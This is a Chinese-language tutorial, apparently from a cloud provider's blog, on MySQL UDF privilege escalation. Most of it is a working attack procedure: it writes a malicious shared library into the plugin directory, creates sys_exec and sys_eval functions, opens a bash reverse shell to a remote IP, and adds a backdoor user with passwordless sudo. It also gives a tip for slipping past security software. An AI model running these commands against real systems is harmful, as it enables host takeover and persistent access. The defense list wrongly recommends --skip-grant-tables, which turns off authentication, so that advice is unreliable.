UDF提权技术详解

UDF提权概述

UDF(User Defined Function)提权是一种利用MySQL数据库自定义函数获取操作系统更高权限的攻击技术。攻击者通过上传恶意的UDF动态链接库(DLL或SO文件),创建可执行系统命令的函数,从而以MySQL服务进程的权限执行任意系统命令,实现提权。

原理分析

MySQL允许用户通过UDF扩展功能,但若MySQL服务以root或高权限用户运行,且数据库用户具备FILE、INSERT、CREATE权限,则可利用UDF执行系统命令。攻击流程:

  • 拥有MySQL低权限账户(如root@localhost但无系统shell)
  • 能够向MySQL插件目录写入文件
  • 创建UDF函数并调用执行系统命令


环境准备

测试环境:

  • MySQL 5.x 或 8.x(需支持UDF)
  • 操作系统:Linux(Ubuntu/CentOS)或Windows
  • 权限:MySQL账户有FILE和INSERT权限,且plugin目录可写
  • 工具:kali Linux,UDF提权脚本(如sqlmap的udf.py或手动编译的so文件)


攻击步骤

步骤1:确认MySQL版本与权限

登录MySQL:mysql -u root -p
查看版本:SELECT VERSION();
查看插件目录:SHOW VARIABLES LIKE 'plugin%';
验证权限:SELECT * FROM mysql.user WHERE user='root'\G
确认有FILE权限:SELECT FILE_PRIV FROM mysql.user WHERE user='root';

步骤2:获取UDF库文件

根据操作系统和MySQL版本,获取对应的UDF库文件。例如从sqlmap的udf/mysql/linux/64/lib_mysqludf_sys.so或手动编译。下载后使用base64编码便于传输:base64 lib_mysqludf_sys.so > encoded.txt

步骤3:上传库文件到插件目录

在MySQL中执行,将base64编码写入临时表,再导出到插件目录:

CREATE TABLE temp_data (data LONGBLOB);
INSERT INTO temp_data VALUES (UNHEX('...base64hex...'));
SELECT data FROM temp_data INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';


步骤4:创建自定义函数

创建函数:CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';
或创建sys_eval(返回字符串):CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
验证函数创建:SELECT * FROM mysql.func;

步骤5:执行系统命令

调用函数:SELECT sys_eval('whoami');
返回结果应为mysql服务进程的用户(如mysql或root)。若返回root,则提权成功。

进阶利用

反弹Shell

通过sys_exec执行bash命令反弹shell:SELECT sys_exec('bash -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"');

创建系统用户

添加用户:SELECT sys_exec('useradd -m attacker');
设置密码:SELECT sys_exec('echo "attacker:password" | chpasswd');
赋予sudo权限:SELECT sys_exec('echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers');

防御措施


  • 最小权限原则:MySQL服务不应以root运行,创建专用用户mysql。
  • 限制plugin目录权限:只允许root写入,移除mysql用户的写权限。
  • 禁用UDF:若无需要,可将--skip-grant-tables或移除UDF支持。
  • 严格管理用户权限:回收不必要的FILE和INSERT权限,避免弱密码。
  • 定期审计:检查mysql.func表是否有异常函数,监控plugin目录变化。
  • 升级MySQL:新版本安全特性更强,如MySQL 8.0默认禁用local-infile。


注意事项


  • 本技术仅用于授权安全测试,非法使用后果自负。
  • 不同MySQL版本和OS可能导致UDF库不兼容,需自行编译或寻找对应版本。
  • 部分安全软件会拦截udf.so写入,可尝试使用十六进制或分段写入绕过。


总结

UDF提权是数据库安全中常见的攻击手法,理解其原理和步骤有助于蓝队加强防御。关键在于限制plugin目录权限和MySQL运行用户,同时监控异常UDF函数。安全从业者应结合纵深防御体系,避免单一漏洞导致权限失控。

分享到:
上一篇
Linux文件夹权限管理详解
下一篇
服务器配置详解:CPU/内存/硬盘/网卡参数
1
系统公告

泽御云五一特惠活动🔥

泽御云持证合规运营,资质齐全可查,长久稳定! 五一限时多重福利同步开启: ✅ 香港 2 核 2G 云服务器超值拼团,低价入手团长免费 ✅ 4 核 4G 多机房年付拼团,性价比拉满 ✅ 内蒙古新区限时 7 折(zeyuyunnmg)特惠,专属优惠码锁价续费 ✅ 全站通用 75 折优惠,老用户充值享专属赠金 官方站点:zeyuyun.com 合规资质齐全|售后有保障|活动限时错过不再有
服务中心
客服
在线客服
24小时为您服务
咨询
联系我们
联系我们,为您的业务提供专属服务。
24/7 技术支持
如果您遇到寻求进一步的帮助,请过工单与我们进行联系。
24/7 即时支持
泽御云
售前客服
泽御云
泽御云
售后客服
泽御云
技术支持
评价
您对当前页面的整体感受是否满意?
😞
非常不满意
😕
不满意
😐
一般
🙂
满意
😊
非常满意